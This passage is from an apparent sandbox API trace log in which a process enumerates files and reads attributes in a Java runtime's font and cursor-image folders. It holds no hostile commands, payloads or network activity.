	[0261.876] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x12574, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaBrightDemiItalic.ttf", cAlternateFileName="LUCIDA~2.TTF")) returned 1
	[0261.876] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13bd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaBrightItalic.ttf", cAlternateFileName="LUCIDA~3.TTF")) returned 1
	[0261.876] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5434c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaBrightRegular.ttf", cAlternateFileName="LUCIDA~4.TTF")) returned 1
	[0261.876] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4d9c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaSansDemiBold.ttf", cAlternateFileName="LU38C7~1.TTF")) returned 1
	[0261.876] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xaa77c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaSansRegular.ttf", cAlternateFileName="LU761B~1.TTF")) returned 1
	[0261.876] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39254, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaTypewriterBold.ttf", cAlternateFileName="LUE73B~1.TTF")) returned 1
	[0261.876] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3b40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaTypewriterRegular.ttf", cAlternateFileName="LUDBAB~1.TTF")) returned 1
	[0261.876] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0261.876] FindClose (in: hFindFile=0x192c63cda60 | out: hFindFile=0x192c63cda60) returned 1
	[0261.877] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0261.877] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x12588)) returned 1
	[0261.878] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0261.878] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x12574)) returned 1
	[0261.879] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0261.879] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13bd8)) returned 1
	[0261.879] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0261.879] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5434c)) returned 1
	[0261.914] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0261.914] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4d9c8)) returned 1
	[0261.915] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0261.915] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xaa77c)) returned 1
	[0261.915] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0261.915] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39254)) returned 1
	[0261.915] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0261.915] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3b40c)) returned 1
	[0261.961] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0261.961] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x368a)) returned 1
	[0261.961] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0261.961] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa12313ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0261.961] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.998] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa12313ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0261.999] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa12313ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0261.999] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cursors", cAlternateFileName="")) returned 1
	[0261.999] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0261.999] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0261.999] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0261.999] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0262.050] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.050] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\*", lpFindFileData=0xc0001df470 | out: lpFindFileData=0xc0001df470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0262.139] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0262.139] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x500, dwReserved0=0x0, dwReserved1=0x0, cFileName="cursors.properties", cAlternateFileName="CURSOR~1.PRO")) returned 1
	[0262.139] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="invalid32x32.gif", cAlternateFileName="INVALI~1.GIF")) returned 1
	[0262.139] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa5, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_CopyDrop32x32.gif", cAlternateFileName="WIN32_~1.GIF")) returned 1
	[0262.139] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_CopyNoDrop32x32.gif", cAlternateFileName="WIN32_~2.GIF")) returned 1
	[0262.139] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_LinkDrop32x32.gif", cAlternateFileName="WIN32_~3.GIF")) returned 1
	[0262.139] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_LinkNoDrop32x32.gif", cAlternateFileName="WIN32_~4.GIF")) returned 1
	[0262.139] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x93, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_MoveDrop32x32.gif", cAlternateFileName="WI06CF~1.GIF")) returned 1
	[0262.139] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_MoveNoDrop32x32.gif", cAlternateFileName="WIE2D6~1.GIF")) returned 1
	[0262.139] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df4a0 | out: lpFindFileData=0xc0001df4a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0262.139] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0262.140] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0262.140] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties"), fInfoLevelId=0x0, lpFileInformation=0xc0001df5e0 | out: lpFileInformation=0xc0001df5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x500)) returned 1
	[0262.142] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x67, lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df594, lpOverlapped=0x0) returned 0
